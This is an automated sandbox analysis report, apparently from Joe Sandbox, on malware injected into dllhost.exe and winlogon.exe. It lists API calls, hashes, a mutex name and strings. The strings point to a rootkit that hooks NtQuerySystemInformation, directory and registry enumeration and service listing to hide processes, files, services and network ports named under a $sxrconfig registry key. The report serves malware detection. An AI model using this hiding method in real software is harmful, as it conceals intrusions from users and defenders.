Instruction ID: 10ac988891f058cb029030192fe840b4d479ef4dbc09f068245be0cf5ad212f6
Opcode Fuzzy Hash: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction Fuzzy Hash: 60E06D71601A0596F704AF62D8287AA36E2FB8AF02F4CD028CE1947350EF7D849A8740

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 6336, Parent PID: 560COMMON

Execution Graph

Execution Coverage:	68.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	39.3%
Total number of Nodes:	61
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001B30 Relevance: 18.2, APIs: 12, Instructions: 187
registrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001908: K32GetModuleInformation.KERNEL32 ref: 00000001400019B0
Part of subcall function 0000000140001908: CreateFileW.KERNELBASE ref: 00000001400019E0
Part of subcall function 0000000140001908: CreateFileMappingW.KERNELBASE ref: 0000000140001A0B
Part of subcall function 0000000140001908: MapViewOfFile.KERNELBASE ref: 0000000140001A2F
Part of subcall function 0000000140001908: lstrcmpi.KERNEL32 ref: 0000000140001A7A
Part of subcall function 0000000140001908: FindCloseChangeNotification.KERNELBASE ref: 0000000140001AE8

LookupPrivilegeValueW.ADVAPI32 ref: 0000000140001C31
AdjustTokenPrivileges.ADVAPI32 ref: 0000000140001C75
FindCloseChangeNotification.KERNELBASE ref: 0000000140001C88
FindResourceA.KERNEL32 ref: 0000000140001C9C
RegCreateKeyExW.ADVAPI32 ref: 0000000140001D2C
RegSetKeySecurity.ADVAPI32 ref: 0000000140001D7C
RegCreateKeyExW.ADVAPI32 ref: 0000000140001DC1
RegSetValueExW.ADVAPI32 ref: 0000000140001DF9
RegCloseKey.ADVAPI32 ref: 0000000140001E04
CreateThread.KERNELBASE ref: 0000000140001E30
CreateThread.KERNELBASE ref: 0000000140001E74
SleepEx.KERNEL32 ref: 0000000140001E7C

Memory Dump Source

Source File: 00000014.00000002.2518073162.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_dllhost.jbxd

Similarity

API ID: Create$CloseFileFind$ChangeNotificationThreadValue$AdjustInformationLookupMappingModulePrivilegePrivilegesResourceSecuritySleepTokenViewlstrcmpi
String ID:
API String ID: 3489061390-0
Opcode ID: 5edfb5cbc0324eee5daa172a89d16951d682391955e0b3df23fa179d5a448a1d
Instruction ID: b0e1fb852f6e0543cbb1d0b345f32bc6fd7345078760f1e0bc57de08f7ced3b6
Opcode Fuzzy Hash: 5edfb5cbc0324eee5daa172a89d16951d682391955e0b3df23fa179d5a448a1d
Instruction Fuzzy Hash: CF9109B6205B8096EB26CF62F8547DA73A9F78CB94F408125EB4A47B74DF78C549C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000119C Relevance: 6.1, APIs: 4, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32EnumProcesses.KERNEL32 ref: 000000014000121B
K32EnumProcessModules.KERNEL32 ref: 000000014000126E
RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000130A
RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000131E

Memory Dump Source

Source File: 00000014.00000002.2518073162.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_dllhost.jbxd

Similarity

API ID: BoundaryDeleteDescriptorEnum$ModulesProcessProcesses
String ID:
API String ID: 330119047-0
Opcode ID: b99cea897b55ce22ee55f00a709a12b981a6df01a8b7777c8743b117f59de58e
Instruction ID: 722e7c41bd921b01580d5e9fcb7604c5b43dbddabd9dc005843a26f70c2221f1
Opcode Fuzzy Hash: b99cea897b55ce22ee55f00a709a12b981a6df01a8b7777c8743b117f59de58e
Instruction Fuzzy Hash: 6B5189B2711A809AEB66CF63A848BEA22A5F78DBC4F444025EF4A47768DF38C555C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000165C Relevance: 1.6, APIs: 1, Instructions: 88
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeW.KERNELBASE ref: 000000014000178C

Memory Dump Source

Source File: 00000014.00000002.2518073162.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_dllhost.jbxd

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: 62dafb1268ee9213ecbaf6c178ea5b5ed500df257eb2683acba7299805e1f63b
Instruction ID: 5e84f6bf4889631b23437abf526e9bdf5af4b3ca6bd4e12e17f1e2086ffe5991
Opcode Fuzzy Hash: 62dafb1268ee9213ecbaf6c178ea5b5ed500df257eb2683acba7299805e1f63b
Instruction Fuzzy Hash: 7B414BB2615B50CAE761CF25E4807DD77B4F788B98F44522AFB4943BA8EB78C548CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001908 Relevance: 9.1, APIs: 6, Instructions: 128
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32GetModuleInformation.KERNEL32 ref: 00000001400019B0
CreateFileW.KERNELBASE ref: 00000001400019E0
CreateFileMappingW.KERNELBASE ref: 0000000140001A0B
MapViewOfFile.KERNELBASE ref: 0000000140001A2F
lstrcmpi.KERNEL32 ref: 0000000140001A7A
FindCloseChangeNotification.KERNELBASE ref: 0000000140001AE8

Memory Dump Source

Source File: 00000014.00000002.2518073162.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_dllhost.jbxd

Similarity

API ID: File$Create$ChangeCloseFindInformationMappingModuleNotificationViewlstrcmpi
String ID:
API String ID: 910215268-0
Opcode ID: 2f1acf1cbdab51ed4474075f2a8db35881d4879a2f724898911980b73aff03a9
Instruction ID: f2b1c273cdc5545e6e8c12de746a27ba9334337610d31b556cae7d200a6f3496
Opcode Fuzzy Hash: 2f1acf1cbdab51ed4474075f2a8db35881d4879a2f724898911980b73aff03a9
Instruction Fuzzy Hash: 3B5139B6305A8192EB22DF16B458BDA73A9FB8DBD8F044125EF4A037A4DF38C549C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001584 Relevance: 3.1, APIs: 2, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,?,?,?,00000000,00000001400010A1), ref: 00000001400015C6
GetTokenInformation.KERNELBASE(?,?,?,?,00000000,00000001400010A1), ref: 0000000140001609

Memory Dump Source

Source File: 00000014.00000002.2518073162.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_dllhost.jbxd

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: bb1ede16d749b0aa8d49f68615aa5427a420d8c7a4dd9ca7b8525546133cb06c
Instruction ID: 2eae3c48201e6f103262f764e10c79d14b5d21d5893c39f3542a132d265f3134
Opcode Fuzzy Hash: bb1ede16d749b0aa8d49f68615aa5427a420d8c7a4dd9ca7b8525546133cb06c
Instruction Fuzzy Hash: B52139B6204A8082EB12CF62F85479AB764FBCCBD4F448525EB8947B78DF79C545CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001ED0 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32EnumProcesses.KERNEL32 ref: 0000000140001F31

Memory Dump Source

Source File: 00000014.00000002.2518073162.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_dllhost.jbxd

Similarity

API ID: EnumProcesses
String ID:
API String ID: 84517404-0
Opcode ID: 62dbe63adaa786fff5273d6083a5c992f197b0eddf441f0438fa731615d6977e
Instruction ID: 3e335d43075e719169e469211f82513eafd9eb7e81d155af191f1dae7c0dcdef
Opcode Fuzzy Hash: 62dbe63adaa786fff5273d6083a5c992f197b0eddf441f0438fa731615d6977e
Instruction Fuzzy Hash: F2214AB6605A129BE716CF17B4547EAB6A6F7C9BD1F144028EB4607A78CF39D440CA40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400014EC Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000103E), ref: 000000014000153B

Memory Dump Source

Source File: 00000014.00000002.2518073162.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_dllhost.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 6bc9b99de388f3e59490879e904058593ad480db252299c408dbbe8cd014b142
Instruction ID: 44c5bdf9c31fdf4bd35f48c43806700b171b0c8e6473a7c39bf54194b38a2f46
Opcode Fuzzy Hash: 6bc9b99de388f3e59490879e904058593ad480db252299c408dbbe8cd014b142
Instruction Fuzzy Hash: D2F03071705B8183EB16CF57B98439A6661E78CBC1F489139FB8A43768DF38C485C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001F94 Relevance: 1.5, APIs: 1, Instructions: 24
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000165C: CreateNamedPipeW.KERNELBASE ref: 000000014000178C

ConnectNamedPipe.KERNELBASE ref: 0000000140001FC6

Memory Dump Source

Source File: 00000014.00000002.2518073162.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$ConnectCreate
String ID:
API String ID: 2149227607-0
Opcode ID: b4d669792a3cca6b1818fcb625241faabf3001f357681174e00ecfcf82171d6e
Instruction ID: 32f579bea11482fe29c7866e40561744ab130bf1df4bedb027ae58d6efce7050
Opcode Fuzzy Hash: b4d669792a3cca6b1818fcb625241faabf3001f357681174e00ecfcf82171d6e
Instruction Fuzzy Hash: 5AF058B1204B4591EB16DF23F8143EA63A4AB8CBE0F588324BB6A436F4DF38C508C700

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: winlogon.exePID: 560, Parent PID: 6336COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	93.8%
Signature Coverage:	0%
Total number of Nodes:	97
Total number of Limit Nodes:	21

Executed Functions

Function 000002D0165E2AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexW.KERNEL32 ref: 000002D0165E2B49
CloseHandle.KERNEL32 ref: 000002D0165E2B57

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 000002D0165E2B39

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction ID: c27e23a338ee93dc7580a733701f16d5e42c596999dd7a57b408f4815b780adb
Opcode Fuzzy Hash: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction Fuzzy Hash: 38214132B0078485EB60DF96FC8871AB799F788B84F858066DE8D83768EF35CD468744

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165E1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E165B
HeapAlloc.KERNEL32 ref: 000002D0165E166A

Part of subcall function 000002D0165E1274: GetProcessHeap.KERNEL32 ref: 000002D0165E127A
Part of subcall function 000002D0165E1274: HeapAlloc.KERNEL32 ref: 000002D0165E1289
Part of subcall function 000002D0165E1274: GetProcessHeap.KERNEL32 ref: 000002D0165E12A3
Part of subcall function 000002D0165E1274: HeapAlloc.KERNEL32 ref: 000002D0165E12B4

RegOpenKeyExW.ADVAPI32 ref: 000002D0165E16DA
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1707
RegCloseKey.ADVAPI32 ref: 000002D0165E1721
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1741
RegCloseKey.ADVAPI32 ref: 000002D0165E175C
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E177C
RegCloseKey.ADVAPI32 ref: 000002D0165E1797
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E17B7
RegCloseKey.ADVAPI32 ref: 000002D0165E17D2
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E17F2
RegCloseKey.ADVAPI32 ref: 000002D0165E180D
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E182D
RegCloseKey.ADVAPI32 ref: 000002D0165E1848
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1868
RegCloseKey.ADVAPI32 ref: 000002D0165E1883
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E18A3
RegCloseKey.ADVAPI32 ref: 000002D0165E18BE
RegCloseKey.ADVAPI32 ref: 000002D0165E18C8

Part of subcall function 000002D0165E12C8: RegQueryInfoKeyW.ADVAPI32 ref: 000002D0165E1326
Part of subcall function 000002D0165E12C8: GetProcessHeap.KERNEL32 ref: 000002D0165E1334
Part of subcall function 000002D0165E12C8: HeapAlloc.KERNEL32 ref: 000002D0165E1345
Part of subcall function 000002D0165E12C8: RegEnumValueW.ADVAPI32 ref: 000002D0165E13A1
Part of subcall function 000002D0165E12C8: GetProcessHeap.KERNEL32 ref: 000002D0165E13E9
Part of subcall function 000002D0165E12C8: HeapAlloc.KERNEL32 ref: 000002D0165E13F7
Part of subcall function 000002D0165E12C8: GetProcessHeap.KERNEL32 ref: 000002D0165E141B
Part of subcall function 000002D0165E12C8: HeapFree.KERNEL32 ref: 000002D0165E1429
Part of subcall function 000002D0165E12C8: lstrlenW.KERNEL32 ref: 000002D0165E1432
Part of subcall function 000002D0165E12C8: GetProcessHeap.KERNEL32 ref: 000002D0165E1440
Part of subcall function 000002D0165E12C8: HeapAlloc.KERNEL32 ref: 000002D0165E144E

Strings

process_names, xrefs: 000002D0165E1775
startup, xrefs: 000002D0165E16FD
SOFTWARE\$sxrconfig, xrefs: 000002D0165E16BA
tcp_remote, xrefs: 000002D0165E1861
tcp_local, xrefs: 000002D0165E1826
udp, xrefs: 000002D0165E189C
pid, xrefs: 000002D0165E173A
service_names, xrefs: 000002D0165E17EB
paths, xrefs: 000002D0165E17B0

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$sxrconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-3028563969
Opcode ID: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction ID: cf0282bb4f48f30ffcba822019b823f7b8800bf24808c34562f9918938dd46bd
Opcode Fuzzy Hash: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction Fuzzy Hash: 6F711976710A9086EB209FA6ECC879977A8F784B89F801163DE4D47B79EF79C944C340

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165E1EB0 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 72
librarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000002D0165E1EBD
GetCurrentThread.KERNEL32 ref: 000002D0165E1EC8

Part of subcall function 000002D0165E21C0: GetModuleHandleA.KERNEL32 ref: 000002D0165E21D8
Part of subcall function 000002D0165E21C0: GetProcAddress.KERNEL32 ref: 000002D0165E21E9

Part of subcall function 000002D0165E5CB0: GetCurrentThreadId.KERNEL32 ref: 000002D0165E5CEB

Strings

advapi32.dll, xrefs: 000002D0165E1FA0, 000002D0165E1FC1
NtEnumerateValueKey, xrefs: 000002D0165E1F7F
NtEnumerateKey, xrefs: 000002D0165E1F62
ntdll.dll, xrefs: 000002D0165E1ED6
Sysprep_Clean_Validate_Opk, xrefs: 000002D0165E2019
EnumServiceGroupW, xrefs: 000002D0165E1F99
NtQueryDirectoryFileEx, xrefs: 000002D0165E1F45
spopk.dll, xrefs: 000002D0165E1EB6, 000002D0165E2020
NtResumeThread, xrefs: 000002D0165E1F0B
NtQuerySystemInformation, xrefs: 000002D0165E1EEE
EnumServicesStatusExW, xrefs: 000002D0165E1FBA, 000002D0165E1FDB
sechost.dll, xrefs: 000002D0165E1FE2
NtDeviceIoControlFile, xrefs: 000002D0165E1FFF
NtQueryDirectoryFile, xrefs: 000002D0165E1F28

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleLibraryLoadModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$Sysprep_Clean_Validate_Opk$advapi32.dll$ntdll.dll$sechost.dll$spopk.dll
API String ID: 1741086925-759476645
Opcode ID: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction ID: 5beddea99a606811880e9ac37e0bf7976a19d7c1deaf2c6cb1d3b5cef6364cbc
Opcode Fuzzy Hash: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction Fuzzy Hash: 8141AA641109CAE4FF08DBD4EDDA7D47725A704784FC084A3A50D12179AEBADF8DD351

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165E5CB0 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D0165E5CEB
GetThreadContext.KERNEL32 ref: 000002D0165E5E55

Part of subcall function 000002D0165E5AE0: GetCurrentThreadId.KERNEL32 ref: 000002D0165E5AE4

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 5386dfe54a7a50d35eb2be07e6f988aad87b53fd4122ef09ab1729645e20a04d
Instruction ID: 827840bbf32c1ab4604c7a48a0d278e65cc8801cf0df14b7f3a30d8c4ea63e3b
Opcode Fuzzy Hash: 5386dfe54a7a50d35eb2be07e6f988aad87b53fd4122ef09ab1729645e20a04d
Instruction Fuzzy Hash: 06D19D76209B8885DB709B5AE89435AB7A0F7C8B88F500256EACD477B5DF3DCA51CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165E5250 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D0165E52D6

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 8690d158449b8bab1d0ea726d75a28fb1a1f16844745daff30852d95de4f148f
Instruction ID: ff4c9e394f4f633e6f1f47a6c809148161092db0380fabb132dcaef3393a161c
Opcode Fuzzy Hash: 8690d158449b8bab1d0ea726d75a28fb1a1f16844745daff30852d95de4f148f
Instruction Fuzzy Hash: 4C02B936219BC486EB60CB95E89435AF7A0F3C4794F504116EACE87BA9DF7EC954CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165E3910 Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000002D0165E3923
GetCurrentProcess.KERNEL32 ref: 000002D0165E3956
VirtualProtectEx.KERNEL32 ref: 000002D0165E3976
GetCurrentProcess.KERNEL32 ref: 000002D0165E398F
VirtualProtectEx.KERNEL32 ref: 000002D0165E39B0

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction ID: c2e338edc5dde43fb8e82cd134809c79a1c2ddc2a18675da9b4e7e84532af290
Opcode Fuzzy Hash: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction Fuzzy Hash: 0D113026605B8183EF24DF91E888759B7B4F745B80F844127DA4D437A5EF3EC944C744

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165E3B60 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002D0165E3BE6
VirtualAlloc.KERNEL32 ref: 000002D0165E3C20

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: e557402e9dd73df416ea533ec671a1600cb4b40425ccbc5a1acba7d83a866da0
Instruction ID: 919a1b6c2e3fa8f9fed85d43b09728acdc6dae48b1b9fd9c76b8407471fff654
Opcode Fuzzy Hash: e557402e9dd73df416ea533ec671a1600cb4b40425ccbc5a1acba7d83a866da0
Instruction Fuzzy Hash: 36312A22619AC481EF30DB55E89835EE6A4F7887C4F900516F6CE467B9DF7ECB408B04

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165E34F0 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002D0165E3512
PathFindFileNameW.SHLWAPI ref: 000002D0165E3521

Part of subcall function 000002D0165E39D0: StrCmpNIW.SHLWAPI ref: 000002D0165E39E8

Part of subcall function 000002D0165E3910: GetModuleHandleW.KERNEL32 ref: 000002D0165E3923
Part of subcall function 000002D0165E3910: GetCurrentProcess.KERNEL32 ref: 000002D0165E3956
Part of subcall function 000002D0165E3910: VirtualProtectEx.KERNEL32 ref: 000002D0165E3976
Part of subcall function 000002D0165E3910: GetCurrentProcess.KERNEL32 ref: 000002D0165E398F
Part of subcall function 000002D0165E3910: VirtualProtectEx.KERNEL32 ref: 000002D0165E39B0

CreateThread.KERNEL32 ref: 000002D0165E356F

Part of subcall function 000002D0165E1EB0: LoadLibraryA.KERNEL32 ref: 000002D0165E1EBD
Part of subcall function 000002D0165E1EB0: GetCurrentThread.KERNEL32 ref: 000002D0165E1EC8

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandleLibraryLoadPath
String ID:
API String ID: 3330075603-0
Opcode ID: 07b1fef9b75676cc8ab7ce167cd629578b86cc052029fc02db47c51d3d35c015
Instruction ID: 6404377c290bac5c135d6157a5486d4f5feab7838e636db9dc56e7921b1ad9b1
Opcode Fuzzy Hash: 07b1fef9b75676cc8ab7ce167cd629578b86cc052029fc02db47c51d3d35c015
Instruction Fuzzy Hash: 041184706107C141FF2097E0ADCD759A791A754745FC004ABD91E866B6EF3ACE84C600

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165E4F70 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002D0165E4F74
VirtualProtect.KERNEL32 ref: 000002D0165E4FB7
FlushInstructionCache.KERNEL32 ref: 000002D0165E4FCC

Memory Dump Source

Source File: 00000016.00000002.3364374510.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 8f375e4fb9d4ea77231e8d2b36d888ad2401ffeed29037c9415508a6c378e2d6
Instruction ID: 403759c975e8939f7a96540f258f7a09ca7a55f223a7a15aaf64dd259946e79d
Opcode Fuzzy Hash: 8f375e4fb9d4ea77231e8d2b36d888ad2401ffeed29037c9415508a6c378e2d6
Instruction Fuzzy Hash: 19F0D626219B8481DB30DB45E89575AA7A0E3C8BD8F940116FA8D07B79CF3DCA91CB04

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165829A0 Relevance: 3.2, APIs: 2, Instructions: 186
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002D016582A42
LoadLibraryA.KERNELBASE ref: 000002D016582AC9

Memory Dump Source

Source File: 00000016.00000002.3363718104.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2d016580000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: f621cb290c08b2b46b1e683fa066f38823c56fcd4ce4b08d2a6cfbd1d588fe07
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: 9B61236270229087EB68CF96D89877DB799FB04BD4F84C426DA1D07BA5DB38EC52C740

Uniqueness

Uniqueness Score: -1.00%

Function 000002D0165E1C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002D0165E1650: GetProcessHeap.KERNEL32 ref: 000002D0165E165B
Part of subcall function 000002D0165E1650: HeapAlloc.KERNEL32 ref: 000002D0165E166A
Part of subcall function 000002D0165E1650: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E16DA
Part of subcall function 000002D0165E1650: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1707
Part of subcall function 000002D0165E1650: RegCloseKey.ADVAPI32 ref: 000002D0165E1721
Part of subcall function 000002D0165E1650: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1741
Part of subcall function 000002D0165E1650: RegCloseKey.ADVAPI32 ref: 000002D0165E175C
Part of subcall function 000002D0165E1650: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E177C
Part of subcall function 000002D0165E1650: RegCloseKey.ADVAPI32 ref: 000002D0165E1797
Part of subcall function 000002D0165E1650: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E17B7
Part of subcall function 000002D0165E1650: RegCloseKey.ADVAPI32 ref: 000002D0165E17D2
Part of subcall function 000002D0165E1650: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E17F2

Sleep.KERNEL32 ref: 000002D0165E1C43
SleepEx.KERNEL32 ref: 000002D0165E1C49

Part of subcall function 000002D0165E1650: RegCloseKey.ADVAPI32 ref: 000002D0165E180D
Part of subcall function 000002D0165E1650: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E182D
Part of subcall function 000002D0165E1650: RegCloseKey.ADVAPI32 ref: 000002D0165E1848
